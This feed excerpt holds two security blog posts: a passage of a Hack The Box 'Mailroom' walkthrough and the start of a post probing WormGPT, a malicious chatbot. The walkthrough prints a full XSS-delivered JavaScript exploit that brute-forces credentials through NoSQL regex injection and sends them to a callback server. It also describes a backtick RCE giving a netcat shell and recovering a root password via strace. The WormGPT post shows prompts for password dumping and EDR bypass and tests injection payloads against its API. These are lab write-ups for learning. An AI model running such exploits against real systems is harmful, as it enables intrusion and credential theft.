/></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R27LEAoDwtU34CG70uSyDw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OG_oZXd04pjDuTxIDYED6A.jpeg" /></figure><p>So we can do <strong>a source code review</strong>.</p><p>auth.php</p><pre>&lt;?php<br>require &#39;vendor/autoload.php&#39;;<br><br>session_start(); // Start a session<br>$client = new MongoDB\Client(&quot;mongodb://mongodb:27017&quot;); // Connect to the MongoDB database<br>header(&#39;Content-Type: application/json&#39;);<br>if (!$client) {<br>  header(&#39;HTTP/1.1 503 Service Unavailable&#39;);<br>  echo json_encode([&#39;success&#39; =&gt; false, &#39;message&#39; =&gt; &#39;Failed to connect to the database&#39;]);<br>  exit;<br>}<br>$collection = $client-&gt;backend_panel-&gt;users; // Select the users collection<br><br>// Authenticate user &amp; Send 2FA if valid<br>if (isset($_POST[&#39;email&#39;]) &amp;&amp; isset($_POST[&#39;password&#39;])) {<br><br>  // Verify the parameters are valid<br>  if (!is_string($_POST[&#39;email&#39;]) || !is_string($_POST[&#39;password&#39;])) {<br>    header(&#39;HTTP/1.1 401 Unauthorized&#39;);<br>    echo json_encode([&#39;success&#39; =&gt; false, &#39;message&#39; =&gt; &#39;Invalid input detected&#39;]);<br>  }<br><br>  // Check if the email and password are correct<br>  $user = $collection-&gt;findOne([&#39;email&#39; =&gt; $_POST[&#39;email&#39;], &#39;password&#39; =&gt; $_POST[&#39;password&#39;]]);<br><br>  if ($user) {<br>    // Generate a random UUID for the 2FA token<br>    $token = bin2hex(random_bytes(16));<br>    $now = time();<br><br>    // Update the user record in the database with the 2FA token if not already sent in the last minute<br>    $user = $collection-&gt;findOne([&#39;_id&#39; =&gt; $user[&#39;_id&#39;]]);<br>    if(($user[&#39;2fa_token&#39;] &amp;&amp; ($now - $user[&#39;token_creation&#39;]) &gt; 60) || !$user[&#39;2fa_token&#39;]) {<br>        $collection-&gt;updateOne(<br>          [&#39;_id&#39; =&gt; $user[&#39;_id&#39;]],<br>          [&#39;$set&#39; =&gt; [&#39;2fa_token&#39; =&gt; $token, &#39;token_creation&#39; =&gt; $now]]<br>        );<br><br>        // Send an email to the user with the 2FA token<br>        $to = $user[&#39;email&#39;];<br>        $subject = &#39;2FA Token&#39;;<br>        $message = &#39;Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=&#39; . $token;<br>        mail($to, $subject, $message);<br>    }<br>    // Return a JSON response notifying about 2fa<br>    echo json_encode([&#39;success&#39; =&gt; true, &#39;message&#39; =&gt; &#39;Check your inbox for an email with your 2FA token&#39;]);<br>    exit;<br><br>  } else {<br>    // Return a JSON error response<br>    header(&#39;HTTP/1.1 401 Unauthorized&#39;);<br>    echo json_encode([&#39;success&#39; =&gt; false, &#39;message&#39; =&gt; &#39;Invalid email or password&#39;]);<br>  }<br>}<br><br>// Check for invalid parameters<br>else if (!isset($_GET[&#39;token&#39;])) {<br>  header(&#39;HTTP/1.1 400 Bad Request&#39;);<br>  echo json_encode([&#39;success&#39; =&gt; false, &#39;message&#39; =&gt; &#39;Email and password are required&#39;]);<br>  exit;<br>}<br><br>// Check if the form has been submitted<br>else if (isset($_GET[&#39;token&#39;])) {<br>  // Verify Token parameter is valid<br>  if (!is_string($_GET[&#39;token&#39;]) || strlen($_GET[&#39;token&#39;]) !== 32) {<br>    header(&#39;HTTP/1.1 401 Unauthorized&#39;);<br>    echo json_encode([&#39;success&#39; =&gt; false, &#39;message&#39; =&gt; &#39;Invalid input detected&#39;]);<br>    exit;<br>  }<br><br>  // Check if the token is correct<br>  $user = $collection-&gt;findOne([&#39;2fa_token&#39; =&gt; $_GET[&#39;token&#39;]]);<br><br>  if ($user) {<br>    // Set the logged_in flag and name in the session<br>    $_SESSION[&#39;logged_in&#39;] = true;<br>    $_SESSION[&#39;name&#39;] = explode(&#39;@&#39;, $user[&#39;email&#39;])[0];<br><br>    // Remove 2FA token since user already used it to log in<br>    $collection-&gt;updateOne(<br>      [&#39;_id&#39; =&gt; $user[&#39;_id&#39;]],<br>      [&#39;$unset&#39; =&gt; [&#39;2fa_token&#39; =&gt; &#39;&#39;]]<br>    );<br><br>    // Redirect to dashboard since login was successful<br>    header(&#39;Location: dashboard.php&#39;);<br>    exit;<br>  } else {<br>    // Return a JSON error response<br>    header(&#39;HTTP/1.1 401 Unauthorized&#39;);<br>    echo json_encode([&#39;success&#39; =&gt; false, &#39;message&#39; =&gt; &#39;Invalid 2FA Login Token&#39;]);<br>    exit;<br>  }<br>}<br><br><br>?&gt;</pre><p>there is another subdomain called <strong><em>staff-review-panel</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*fni_vFkAlDnUvTsFJCHeSw.jpeg" /></figure><p>let’s add it to our hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*HiV-uLdC8bFoGpd6hQ9bbg.jpeg" /></figure><p>browse it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*_ViCgBxf-qWYrL6UIVnI-w.jpeg" /></figure><p>we must use the xss vulnerability in order to access and exploit staff-review-panel.mailroom.htb. Let&#39;s use the following script to get a better look at the subdomain. The code we provided is an example of a malicious script attempting to exfiltrate data from a target website to an attacker-controlled server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*cSpFrMW1lQPfSbuu2sAcRg.jpeg" /></figure><p>The reason for using false (synchronous request) in this context is to ensure that the script <strong>waits for the </strong><strong>xhr to</strong> <strong>complete and obtain</strong> <strong>a response</strong> <strong>before proceeding</strong>. If this were an asynchronous request (the default behavior, which is ‘true’), the script might proceed to the next steps before the content of the target page is obtained, thereby possibly resulting in the failure of the data exfiltration attempt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ERryRhfVpf2Zbf4kEEx5cA.jpeg" /></figure><p>let’s decoding the base64 encoding string. It reveals the following html code:</p><pre>┌──(kali㉿kali)-[~/Desktop/mailroom]<br>└─$ echo -n &#39;CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iIC8+CiAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IiIgLz4KICA8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IiIgLz4KICA8dGl0bGU+SW5xdWlyeSBSZXZpZXcgUGFuZWw8L3RpdGxlPgogIDwhLS0gRmF2aWNvbi0tPgogIDxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIiBocmVmPSJhc3NldHMvZmF2aWNvbi5pY28iIC8+CiAgPCEtLSBCb290c3RyYXAgaWNvbnMtLT4KICA8bGluayBocmVmPSJmb250L2Jvb3RzdHJhcC1pY29ucy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgLz4KICA8IS0tIENvcmUgdGhlbWUgQ1NTIChpbmNsdWRlcyBCb290c3RyYXApLS0+CiAgPGxpbmsgaHJlZj0iY3NzL3N0eWxlcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgLz4KPC9oZWFkPgoKPGJvZHk+CiAgPGRpdiBjbGFzcz0id3JhcHBlciBmYWRlSW5Eb3duIj4KICAgIDxkaXYgaWQ9ImZvcm1Db250ZW50Ij4KCiAgICAgIDwhLS0gTG9naW4gRm9ybSAtLT4KICAgICAgPGZvcm0gaWQ9J2xvZ2luLWZvcm0nIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgPGgyPlBhbmVsIExvZ2luPC9oMj4KICAgICAgICA8aW5wdXQgcmVxdWlyZWQgdHlwZT0idGV4dCIgaWQ9ImVtYWlsIiBjbGFzcz0iZmFkZUluIHNlY29uZCIgbmFtZT0iZW1haWwiIHBsYWNlaG9sZGVyPSJFbWFpbCI+CiAgICAgICAgPGlucHV0IHJlcXVpcmVkIHR5cGU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIGNsYXNzPSJmYWRlSW4gdGhpcmQiIG5hbWU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJmYWRlSW4gZm91cnRoIiB2YWx1ZT0iTG9nIEluIj4KICAgICAgICA8cCBoaWRkZW4gaWQ9Im1lc3NhZ2UiIHN0eWxlPSJjb2xvcjogIzhGOEY4RiI+T25seSBzaG93IHRoaXMgbGluZSBpZiByZXNwb25zZSAtIGVkaXQgY29kZTwvcD4KICAgICAgPC9mb3JtPgoKICAgICAgPCEtLSBSZW1pbmQgUGFzc293cmQgLS0+CiAgICAgIDxkaXYgaWQ9ImZvcm1Gb290ZXIiPgogICAgICAgIDxhIGNsYXNzPSJ1bmRlcmxpbmVIb3ZlciIgaHJlZj0icmVnaXN0ZXIuaHRtbCI+Q3JlYXRlIGFuIGFjY291bnQ8L2E+CiAgICAgIDwvZGl2PgoKICAgIDwvZGl2PgogIDwvZGl2PgoKICA8IS0tIEJvb3RzdHJhcCBjb3JlIEpTLS0+CiAgPHNjcmlwdCBzcmM9ImpzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIj48L3NjcmlwdD4KCiAgPCEtLSBMb2dpbiBGb3JtLS0+CiAgPHNjcmlwdD4KICAgIC8vIEdldCB0aGUgZm9ybSBlbGVtZW50CiAgICBjb25zdCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ2luLWZvcm0nKTsKCiAgICAvLyBBZGQgYSBzdWJtaXQgZXZlbnQgbGlzdGVuZXIgdG8gdGhlIGZvcm0KICAgIGZvcm0uYWRkRXZlbnRMaXN0ZW5lcignc3VibWl0JywgZXZlbnQgPT4gewogICAgICAvLyBQcmV2ZW50IHRoZSBkZWZhdWx0IGZvcm0gc3VibWlzc2lvbgogICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgLy8gU2VuZCBhIFBPU1QgcmVxdWVzdCB0byB0aGUgbG9naW4ucGhwIHNjcmlwdAogICAgICBmZXRjaCgnL2F1dGgucGhwJywgewogICAgICAgIG1ldGhvZDogJ1BPU1QnLAogICAgICAgIGJvZHk6IG5ldyBVUkxTZWFyY2hQYXJhbXMobmV3IEZvcm1EYXRhKGZvcm0pKSwKICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyB9CiAgICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gewogICAgICAgIHJldHVybiByZXNwb25zZS5qc29uKCk7CgogICAgICB9KS50aGVuKGRhdGEgPT4gewogICAgICAgIC8vIERpc3BsYXkgdGhlIG5hbWUgYW5kIG1lc3NhZ2UgaW4gdGhlIHBhZ2UKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbWVzc2FnZScpLnRleHRDb250ZW50ID0gZGF0YS5tZXNzYWdlOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVlID0gJyc7CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21lc3NhZ2UnKS5yZW1vdmVBdHRyaWJ1dGUoImhpZGRlbiIpOwogICAgICB9KS5jYXRjaChlcnJvciA9PiB7CiAgICAgICAgLy8gRGlzcGxheSBhbiBlcnJvciBtZXNzYWdlCiAgICAgICAgLy9hbGVydCgnRXJyb3I6ICcgKyBlcnJvcik7CiAgICAgIH0pOwogICAgfSk7CiAgPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg==&#39; | base64 -d<br><br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br><br>&lt;head&gt;<br>  &lt;meta charset=&quot;utf-8&quot; /&gt;<br>  &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shrink-to-fit=no&quot; /&gt;<br>  &lt;meta name=&quot;description&quot; content=&quot;&quot; /&gt;<br>  &lt;meta name=&quot;author&quot; content=&quot;&quot; /&gt;<br>  &lt;title&gt;Inquiry Review Panel&lt;/title&gt;<br>  &lt;!-- Favicon--&gt;<br>  &lt;link rel=&quot;icon&quot; type=&quot;image/x-icon&quot; href=&quot;assets/favicon.ico&quot; /&gt;<br>  &lt;!-- Bootstrap icons--&gt;<br>  &lt;link href=&quot;font/bootstrap-icons.css&quot; rel=&quot;stylesheet&quot; /&gt;<br>  &lt;!-- Core theme CSS (includes Bootstrap)--&gt;<br>  &lt;link href=&quot;css/styles.css&quot; rel=&quot;stylesheet&quot; /&gt;<br>&lt;/head&gt;<br><br>&lt;body&gt;<br>  &lt;div class=&quot;wrapper fadeInDown&quot;&gt;<br>    &lt;div id=&quot;formContent&quot;&gt;<br><br>      &lt;!-- Login Form --&gt;<br>      &lt;form id=&#39;login-form&#39; method=&quot;POST&quot;&gt;<br>        &lt;h2&gt;Panel Login&lt;/h2&gt;<br>        &lt;input required type=&quot;text&quot; id=&quot;email&quot; class=&quot;fadeIn second&quot; name=&quot;email&quot; placeholder=&quot;Email&quot;&gt;<br>        &lt;input required type=&quot;password&quot; id=&quot;password&quot; class=&quot;fadeIn third&quot; name=&quot;password&quot; placeholder=&quot;Password&quot;&gt;<br>        &lt;input type=&quot;submit&quot; class=&quot;fadeIn fourth&quot; value=&quot;Log In&quot;&gt;<br>        &lt;p hidden id=&quot;message&quot; style=&quot;color: #8F8F8F&quot;&gt;Only show this line if response - edit code&lt;/p&gt;<br>      &lt;/form&gt;<br><br>      &lt;!-- Remind Passowrd --&gt;<br>      &lt;div id=&quot;formFooter&quot;&gt;<br>        &lt;a class=&quot;underlineHover&quot; href=&quot;register.html&quot;&gt;Create an account&lt;/a&gt;<br>      &lt;/div&gt;<br><br>    &lt;/div&gt;<br>  &lt;/div&gt;<br><br>  &lt;!-- Bootstrap core JS--&gt;<br>  &lt;script src=&quot;js/bootstrap.bundle.min.js&quot;&gt;&lt;/script&gt;<br><br>  &lt;!-- Login Form--&gt;<br>  &lt;script&gt;<br>    // Get the form element<br>    const form = document.getElementById(&#39;login-form&#39;);<br><br>    // Add a submit event listener to the form<br>    form.addEventListener(&#39;submit&#39;, event =&gt; {<br>      // Prevent the default form submission<br>      event.preventDefault();<br><br>      // Send a POST request to the login.php script<br>      fetch(&#39;/auth.php&#39;, {<br>        method: &#39;POST&#39;,<br>        body: new URLSearchParams(new FormData(form)),<br>        headers: { &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39; }<br>      }).then(response =&gt; {<br>        return response.json();<br><br>      }).then(data =&gt; {<br>        // Display the name and message in the page<br>        document.getElementById(&#39;message&#39;).textContent = data.message;<br>        document.getElementById(&#39;password&#39;).value = &#39;&#39;;<br>        document.getElementById(&#39;message&#39;).removeAttribute(&quot;hidden&quot;);<br>      }).catch(error =&gt; {<br>        // Display an error message<br>        //alert(&#39;Error: &#39; + error);<br>      });<br>    });<br>  &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Let’s take a closer look at the auth.php code:</p><p>These parts of the code get data directly from the user. so it is vulnerable to NoSQli.</p><pre>$user = $collection-&gt;findOne([&#39;email&#39; =&gt; $_POST[&#39;email&#39;], &#39;password&#39; =&gt; $_POST[&#39;password&#39;]]);</pre><pre>$user = $collection-&gt;findOne([&#39;2fa_token&#39; =&gt; $_GET[&#39;token&#39;]]);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*qahjguz7FyhaKyQ2Hdw9rw.jpeg" /></figure><p>here is our <strong>final exploit code</strong>:</p><pre><br><br>var target = &quot;http://staff-review-panel.mailroom.htb/auth.php&quot;;<br>var callbackServer = &quot;10.10.14.64&quot;;<br>var callbackPort = 8000;<br>var charset = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@.&quot;;<br><br>function sendToCallbackServer(message) {<br>    var encodedMessage = btoa(unescape(encodeURIComponent(message)));<br>    var xhr = new XMLHttpRequest();<br>    xhr.open(&quot;GET&quot;, `http://${callbackServer}:${callbackPort}/${encodedMessage}`);<br>    xhr.send();<br>}<br><br>function testPayload(credType, value, otherCredValue) {<br>    var otherCred = credType === &quot;email&quot; ? &quot;password&quot; : &quot;email&quot;;<br>    var payload = `${credType}[$regex]=^${value}&amp;${otherCred}[$regex]=${otherCredValue || &quot;^.&quot;}`;<br>    <br>    var xhr = new XMLHttpRequest();<br>    xhr.open(&quot;POST&quot;, target, false);<br>    xhr.setRequestHeader(&quot;Content-type&quot;, &quot;application/x-www-form-urlencoded&quot;);<br>    xhr.send(payload);<br>    <br>    return xhr.responseText.includes(&quot;2FA&quot;);<br>}<br><br>function bruteForce(credType, otherCredValue) {<br>    var leakedCred = &quot;&quot;;<br>    var currentCharIndex = 0;<br><br>    while (currentCharIndex &lt; charset.length) {<br>        var nextCharGuess = charset[currentCharIndex];<br>        <br>        if (testPayload(credType, leakedCred + nextCharGuess, otherCredValue)) {<br>            leakedCred += nextCharGuess;<br>            currentCharIndex = 0;  // Reset index when a char is found<br>        } else {<br>            currentCharIndex++;<br>        }<br>    }<br><br>    sendToCallbackServer(`${credType} found: ${leakedCred}`);<br>    return leakedCred;<br>}<br><br>sendToCallbackServer(&quot;Starting exploit...&quot;);<br><br>var email = bruteForce(&quot;email&quot;);<br>var password = bruteForce(&quot;password&quot;, email);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*xaimDkIooj4PY9QjYwuYBg.jpeg" /></figure><p>let’s decoding the base64 encoding strings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*LYcL8UvmUFS1qPeQHPgrAg.jpeg" /></figure><p>let’s ssh into the box:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*lS2rlDL1MNvf79RGMozXkg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*501IItpSbS7St534sV83yA.jpeg" /></figure><blockquote>let’s use <strong>ss -tulwn</strong>. We are aiming to determine which ports are open and in a listening state for the purpose of port forwarding.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NqLiqMy7Xz0SzDYGeVuoDw.jpeg" /></figure><p>let’s do a port forward:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*zVFvMFfebW9O7SSWspdAGQ.jpeg" /></figure><p>let’s add ‘<em>staff-review-panel.mailroom.htb</em>’ to our hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*IfV1QNdm30BJHR_WY5bfUg.jpeg" /></figure><p>We must input the credentials we found earlier. It will show us a message: “Check your inbox for an email with your 2FA token!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*S2SHsjzFBrEKMIhYblXmdQ.jpeg" /></figure><p>By going to the <strong>/var/mail</strong> folder, we find the 2FA token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dz66PjK1wYEpxcjRAip-yQ.jpeg" /></figure><p>navigate to the provided link:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lHDPh7seMZw6Y3Zxv6vXWA.jpeg" /></figure><p>In the Inspect module, there is a possibility of RCE vulnerability. Let’s look closer at the <strong>inspect code</strong> from Gitea:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*95EE6cLN-pOLQlyybSlTUw.jpeg" /></figure><p>The regex pattern for sanitization does not include backticks (`). In many shells, backticks are used to execute the commands within them. let’s provide a shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*MpU831R1HFgyfuKjevtZBw.jpeg" /></figure><p>and exploit the RCE:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5-KRmXKp6jGqs24KZR95Qw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*_OxHWz-ykURFk2gU-KmRKg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*jyv7oSzsPNlcMITavtqmsg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MUWfIJYTU7et2HcfiS6zYA.jpeg" /></figure><p>and we do get a nc shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*wBBIkyYF8IF74b0Qi0SdhA.jpeg" /></figure><p>We get Matthew’s credentials from the config file. Let’s move laterally to the target:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*k0NLRB8w7_ObDxvVd3CuTg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*8z7ZdSEb9ucpOtcD3oCQCg.jpeg" /></figure><p>and we do get the user flag.</p><p>It’s time to upload <strong>pspy</strong> to enumerate the tagret to do privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bypAJITUOEn05Xy_7dcGJA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Ww4gaTqvpcebzc1zDjDPQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*YByilyZ1oTD50119D2AG0Q.jpeg" /></figure><blockquote><strong>kpcli </strong>is a command line interface to KeePass database files.</blockquote><p>Let’s investigate Linux processes. I am trying to use <strong>Strace</strong> to list all the system calls performed by the process that kpcli uses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*Ojso2ia9NG7wjcqQnuKzMA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ls99o3YfUsyl6VWkaI5HHw.jpeg" /></figure><p>There is a typo. \10 represents a backspace.</p><ol><li>The user typed the password. (Original: !sEcUr3p4$$w01\10rd9)</li><li>At some point, they made a typo by entering 1.</li><li>The user used a backspace (represented by \10) to correct it.</li><li>They continued typing the password. Taking into account the backspace (\10): password is: !sEcUr3p4$$w0rd9</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*otaf6B8g81Uvjzc1zbexow.jpeg" /></figure><p>Let’s download <strong><em>personal.kdbx</em></strong> to our local machine using nc:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*9cI_qFu7dfq_K9L8dxEopA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*tt_OqtrhLbANt1-DFXeMDg.jpeg" /></figure><p>After accessing the KeePass database file, we were able to retrieve the root password, granting us full system privileges. we have two options:</p><h3>using keepassxc</h3><p><strong>KeePassXC</strong> is a free and open-source password manager that allows users to store and manage their passwords in a secure way. <strong>KeePassXC</strong> is designed to be compatible with .kdbx files, which are the database files created and used by KeePass and its derivatives.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*hPqL1JbQLCO2jnGkvxJBUw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*kyQh_gfR1tYq6isp8-yyWw.jpeg" /></figure><h4>using kpcli:</h4><p>kpcli stands for <strong>KeePass Command Line Interface</strong>. It&#39;s a command line interface (CLI) tool that allows users to interact with KeePass database files without a graphical user interface. This can be particularly useful for those who prefer using terminal-based applications or need to access KeePass databases on systems without a graphical interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*FWtCuJ46UCoqhqwPVx3ffQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*PerQ9O9k4PlrL8UJ4UWALQ.jpeg" /></figure><p>Let’s switch to the root user. We do get the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fezia-jJP-tb4tUho3SUUA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=88152d53d850" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/mailroom-htb-gitea-xss-nosqli-rce-exploit-development-strace-88152d53d850">Mailroom HTB | Gitea | XSS | NoSqli | RCE | Exploit Development | Strace</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WormGPT: Is it Vulnerable?]]></title>
            <link>https://infosecwriteups.com/wormgpt-is-it-vulnerable-80f2f752a697?source=rss-fbd07e5e30d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/80f2f752a697</guid>
            <category><![CDATA[wormgpt]]></category>
            <category><![CDATA[chatgpt]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Aydin Naserifard]]></dc:creator>
            <pubDate>Fri, 21 Jul 2023 15:56:44 GMT</pubDate>
            <atom:updated>2023-07-24T05:56:53.337Z</atom:updated>
            <content:encoded><![CDATA[<p>A few days ago, news was published about a new tool called <strong>WormGPT </strong>which doesn’t have the limitations of the ChatGPT tool. thats weird!</p><p><strong>What is WormGPT?</strong></p><p>On July 13 2023, researchers from cybersecurity firm SlashNext published <a href="https://slashnext.com/blog/wormgpt-the-generative-ai-tool-cybercriminals-are-using-to-launch-business-email-compromise-attacks/">a blog post</a> revealing the discovery of WormGPT, a tool being promoted for sale on a hacker forum. According to the forum user, the WormGPT project aims to be a blackhat &quot;alternative&quot; to ChatGPT, &quot;one that lets you do all sorts of illegal stuff and easily sell it online <a href="https://www.zdnet.com/article/wormgpt-what-to-know-about-chatgpts-malicious-cousin/">in the future</a>.&quot;</p><p>SlashNext gained access to the tool, described as an AI module based on the GPTJ language model. According to reports, WormGPT was trained using data from several sources, including information on malware. However, only the creator of WormGPT is aware of the precise datasets. WormGPT might be able to produce harmful programs or deceptive phishing emails, for instance.</p><p>According to a Telegram channel purportedly created to advertise the tool, the admin has created a subscription model for access, ranging from $90 to $850. According to “darkstux”, a channel admin, there are already more than 1,600 users of WormGPT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*nO4lJ3JwWHayX9czqM36lw.jpeg" /><figcaption>WormGPT</figcaption></figure><p>So Let’s ask it some questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*PAokK_StxKHAc3uRW89Hfg.jpeg" /><figcaption>Introduce yourself</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPf5peReAqrO4GjRqbddoQ.jpeg" /><figcaption>dump browser passwords</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*gJQOcbDD29mQtleD8SGCuQ.jpeg" /><figcaption>bypass EDRs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*LwOicwCK5liC8rMaPwHDgA.jpeg" /><figcaption>RCE Payloads</figcaption></figure><p>most of the answers are incorrect and incomplete!</p><p>lets look for source by opening inspector tools:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8icOfsDn-znjVv90DM14BA.jpeg" /><figcaption>debugger</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*fcPMUgck9hwa6swAdoVUvQ.jpeg" /><figcaption>debugger</figcaption></figure><p><strong>The debugger is disabled on the browser</strong>! it seems to define a function _0x4d5b14, which takes five arguments. Inside this function, there are several other functions named _0x218f12, _0x3ba319, _0x16cdae, _0x29436a, and _0x5307b7. These inner functions appear to be responsible for performing some mathematical calculations and returning results.</p><p>We are in a while loop that uses a lot of arithmetic operations to compute a value stored in the variable _0x169264. The loop keeps running until the value of _0x169264 matches the value of _0x2caefe.</p><p>It seems it is a protection mechanism to hinder reverse-engineering or tampering with the website’s scripts.</p><p>I intercepted the request using BurpSuite. Here is the API call. It works without authentication.</p><blockquote>POST <strong>/api2.php</strong> HTTP/2<br>Host: <strong>wormermaximum.000webhostapp.com</strong><br>User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Upgrade-Insecure-Requests: 1</blockquote><blockquote><strong>{“prompt”:””}</strong></blockquote><p>lets try to inject some payloads. first try <strong>SSTI</strong> here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*ilkzLiXCLb-eJl9k3XatjQ.jpeg" /><figcaption>SSTI</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*xwO09mcXmG3c_30dkyEc0A.jpeg" /><figcaption>SSTI -2</figcaption></figure><p>I also inject the same payloads on ChatGPT, but there is a difference in the answer in the second entry:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*vsup6qzMbeLl79JjHe8Zog.jpeg" /><figcaption>SSTI-1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*wLu9DHy7Obr7x3x9etKfnQ.jpeg" /><figcaption>SSTI-2</figcaption></figure><p>something happened. The second payload in the WormGPT returned the expected response. <strong>Is it vulnerable to SSTI?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eVo49wp4CN7TWNBnWTky2g.jpeg" /><figcaption>SSTI</figcaption></figure><p>Next, I injected more SSTI payloads, but each time I received a different response.</p><p>lets try RCE 